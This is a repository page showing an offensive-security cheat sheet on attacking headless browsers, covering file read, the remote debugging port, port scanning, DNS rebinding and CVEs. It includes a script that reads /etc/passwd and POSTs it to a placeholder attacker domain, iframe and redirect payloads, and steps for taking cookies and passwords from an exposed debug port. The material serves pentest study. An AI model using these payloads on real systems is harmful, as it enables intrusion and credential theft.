daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

index.md (9699B)


      1 ---
      2 title: "Headless Browser"
      3 topic: "Headless Browser"
      4 topicSlug: "headless-browser"
      5 sourcePath: "Headless Browser/README.md"
      6 sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/Headless%20Browser/README.md"
      7 sha: "3ac27901c711"
      8 isReadme: true
      9 ---
     10 
     11 # Headless Browser
     12 
     13 > A headless browser is a web browser without a graphical user interface. It works just like a regular browser, such as Chrome or Firefox, by interpreting HTML, CSS, and JavaScript, but it does so in the background, without displaying any visuals.
     14 > Headless browsers are primarily used for automated tasks, such as web scraping, testing, and running scripts. They are particularly useful in situations where a full-fledged browser is not needed, or where resources (like memory or CPU) are limited.
     15 
     16 ## Summary
     17 
     18 * [Headless Commands](#headless-commands)
     19 * [Local File Read](#local-file-read)
     20 * [Remote Debugging Port](#remote-debugging-port)
     21 * [Network](#network)
     22     * [Port Scanning](#port-scanning)
     23     * [DNS Rebinding](#dns-rebinding)
     24 * [CVE](#cve)
     25 * [References](#references)
     26 
     27 ## Headless Commands
     28 
     29 Example of headless browsers commands:
     30 
     31 * Google Chrome
     32 
     33     ```ps1
     34     google-chrome --headless[=(new|old)] --print-to-pdf https://www.google.com
     35     ```
     36 
     37 * Mozilla Firefox
     38 
     39     ```ps1
     40     firefox --screenshot https://www.google.com
     41     ```
     42 
     43 * Microsoft Edge
     44 
     45     ```ps1
     46     "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu --window-size=1280,720 --screenshot="C:\tmp\screen.png" "https://google.com"
     47     ```
     48 
     49 ## Local File Read
     50 
     51 ### Insecure Flags
     52 
     53 If the target is launched with the `--allow-file-access` option
     54 
     55 ```ps1
     56 google-chrome-stable --disable-gpu --headless=new --no-sandbox --no-first-run --disable-web-security -–allow-file-access-from-files --allow-file-access --allow-cross-origin-auth-prompt --user-data-dir
     57 ```
     58 
     59 Since the file access is allowed, an atacker can create and expose an HTML file which captures the content of the `/etc/passwd` file.
     60 
     61 ```js
     62 <script>
     63   async function getFlag(){
     64     response = await fetch("file:///etc/passwd");
     65     flag = await response.text();
     66   fetch("https://[ATTACKER.DOMAIN.TLD]/", { method: "POST", body: flag})
     67   };
     68   getFlag();
     69 </script>
     70 ```
     71 
     72 ### PDF Rendering
     73 
     74 Consider a scenario where a headless browser captures a copy of a webpage and exports it to PDF, while the attacker has control over the URL being processed.
     75 
     76 Target: `google-chrome-stable --headless[=(new|old)] --print-to-pdf https://site/file.html`
     77 
     78 * Javascript Redirect
     79 
     80     ```html
     81     <html>
     82         <body>
     83             <script>
     84                 window.location="/etc/passwd"
     85             </script>
     86         </body>
     87     </html>
     88     ```
     89 
     90 * Iframe
     91 
     92     ```html
     93     <html>
     94         <body>
     95             <iframe src="/etc/passwd" height="640" width="640"></iframe>
     96         </body>
     97     </html>
     98     ```
     99 
    100 ## Remote Debugging Port
    101 
    102 The Remote Debugging Port in a headless browser (like Headless Chrome or Chromium) is a TCP port that exposes the browser’s DevTools Protocol so external tools (or scripts) can connect and control the browser remotely. It usually listen on port **9222** but it can be changed with `--remote-debugging-port=`.
    103 
    104 **Target**: `google-chrome-stable --headless=new --remote-debugging-port=XXXX ./index.html`
    105 
    106 **Tools**:
    107 
    108 * [slyd0g/WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) - Interact with Chromium-based browsers' debug port to view open tabs, installed extensions, and cookies
    109 * [slyd0g/ripWCMN.py](https://gist.githubusercontent.com/slyd0g/955e7dde432252958e4ecd947b8a7106/raw/d96c939adc66a85fa9464cec4150543eee551356/ripWCMN.py) - WCMN alternative using Python to fix the websocket connection with an empty `origin` Header.
    110 
    111 > [!NOTE]  
    112 > Since Chrome update from December 20, 2022, you must start the browser with the argument `--remote-allow-origins="*"` to connect to the websocket with WhiteChocolateMacademiaNut.
    113 
    114 **Exploits**:
    115 
    116 * Connect and interact with the browser: `chrome://inspect/#devices`, `opera://inspect/#devices`
    117 * Kill the currently running browser and use the `--restore-last-session` to get access to the user's tabs
    118 * Data stored in the settings (username, passwords, token): `chrome://settings`
    119 * Port Scan: In a loop open `http://localhost:<port>/json/new?http://[ATTACKER.DOMAIN.TLD]/?port=<port>`
    120 * Leak UUID: Iframe: `http://127.0.0.1:<port>/json/version`
    121 
    122     ```json
    123     {
    124         "Browser": "Chrome/136.0.7103.113",
    125         "Protocol-Version": "1.3",
    126         "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/136.0.0.0 Safari/537.36",
    127         "V8-Version": "13.6.233.10",
    128         "WebKit-Version": "537.36 (@76fa3c1782406c63308c70b54f228fd39c7aaa71)",
    129         "webSocketDebuggerUrl": "ws://127.0.0.1:9222/devtools/browser/d815e18d-57e6-4274-a307-98649a9e6b87"
    130     }
    131     ```
    132 
    133 * Local File Read: [pich4ya/chrome_remote_debug_lfi.py](https://gist.github.com/pich4ya/5e7d3d172bb4c03360112fd270045e05)
    134 * Node inspector `--inspect` works like a `--remote-debugging-port`
    135 
    136     ```ps1
    137     node --inspect app.js # default port 9229
    138     node --inspect=4444 app.js # custom port 4444
    139     node --inspect=0.0.0.0:4444 app.js
    140     ```
    141 
    142 Starting from Chrome 136, the switches `--remote-debugging-port` and `--remote-debugging-pipe` won't be respected if attempting to debug the default Chrome data directory. These switches must now be accompanied by the `--user-data-dir` switch to point to a non-standard directory.
    143 
    144 The flag `--user-data-dir=/path/to/data_dir` is used to specify the user's data directory, where Chromium stores all of its application data such as cookies and history. If you start Chromium without specifying this flag, you’ll notice that none of your bookmarks, favorites, or history will be loaded into the browser.
    145 
    146 ## Network
    147 
    148 ### Port Scanning
    149 
    150 Port Scanning: Timing attack
    151 
    152 * Dynamically insert an `<img>` tag pointing to a hypothetical closed port. Measure time to onerror.
    153 * Repeat at least 10 times → average time to get an error for a closed port
    154 * Test random port 10 times and measure time to error
    155 * If `time_to_error(random_port) > time_to_error(closed_port)*1.3` → port is opened
    156 
    157 **Consideration**:
    158 
    159 * Chrome blocks by default a list of "known ports"
    160 * Chrome blocks access to local network addresses except localhost through 0.0.0.0
    161 
    162 ### DNS Rebinding
    163 
    164 * [nccgroup/singularity](https://github.com/nccgroup/singularity) - A DNS rebinding attack framework.
    165 
    166 1. Chrome will make 2 DNS requests: `A` and `AAAA` records
    167     * `AAAA` response with valid Internet IP
    168     * `A` response with internal IP
    169 2. Chrome will connect in priority to the IPv6 (evil.net)
    170 3. Close IPv6 listener just after first response
    171 4. Open Iframe to evil.net
    172 5. Chrome will attempt to connect to the IPv6 but as it will fail it will fallback to the IPv4
    173 6. From top window, inject script into iframe to exfiltrate content
    174 
    175 ## CVE
    176 
    177 Exploiting a headless browser using a known vulnerability (CVE) involves several steps, from vulnerability research to payload execution. Below is a structured breakdown of the process:
    178 
    179 Identify the headless browser with the User-Agent, then choose an exploit targeting the browser's component: V8 engine, Blink renderer, Webkit, etc.
    180 
    181 * Chrome CVE: [2024-9122 - WASM type confusion due to imported tag signature subtyping](https://issues.chromium.org/issues/365802567), [CVE-2025-5419 - Out of bounds read and write in V8](https://nvd.nist.gov/vuln/detail/CVE-2025-5419)
    182 * Firefox : [CVE-2024-9680 - Use after free](https://nvd.nist.gov/vuln/detail/CVE-2024-9680)
    183 
    184 The `--no-sandbox` option disables the sandbox feature of the renderer process.
    185 
    186 ```js
    187 const browser = await puppeteer.launch({
    188     args: ['--no-sandbox']
    189 });
    190 ```
    191 
    192 ## References
    193 
    194 * [Browser based Port Scanning with JavaScript - Nikolai Tschacher - January 10, 2021](https://web.archive.org/web/20210119151816/https://incolumitas.com/2021/01/10/browser-based-port-scanning/)
    195 * [Changes to remote debugging switches to improve security - Will Harris - March 17, 2025](https://web.archive.org/web/20250328233439/https://developer.chrome.com/blog/remote-debugging-port)
    196 * [Chrome DevTools Protocol - Documentation - July 3, 2017](https://web.archive.org/web/20170703201537/https://chromedevtools.github.io/devtools-protocol/)
    197 * [Cookies with Chromium’s Remote Debugger Port - Justin Bui - December 17, 2020](https://web.archive.org/web/20201217170910/https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e)
    198 * [Debugging Cookie Dumping Failures with Chromium’s Remote Debugger - Justin Bui - July 16, 2023](https://web.archive.org/web/20250911211108/https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f)
    199 * [Node inspector/CEF debug abuse - HackTricks - July 18, 2024](https://web.archive.org/web/20241230021023/https://book.hacktricks.xyz/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse)
    200 * [Post-Exploitation: Abusing Chrome's debugging feature to observe and control browsing sessions remotely - wunderwuzzi - April 28, 2020](https://web.archive.org/web/20260215064320/https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/)
    201 * [Too Lazy to get XSS? Then use n-days to get RCE in the Admin bot - Jopraveen - March 2, 2025](https://web.archive.org/web/20250303031943/https://jopraveen.github.io/web-hackthebot/)
    202 * [Tricks for Reliable Split-Second DNS Rebinding in Chrome and Safari - Daniel Thatcher - December 6, 2023](https://web.archive.org/web/20231206141057/https://www.intruder.io/research/split-second-dns-rebinding-in-chrome-and-safari)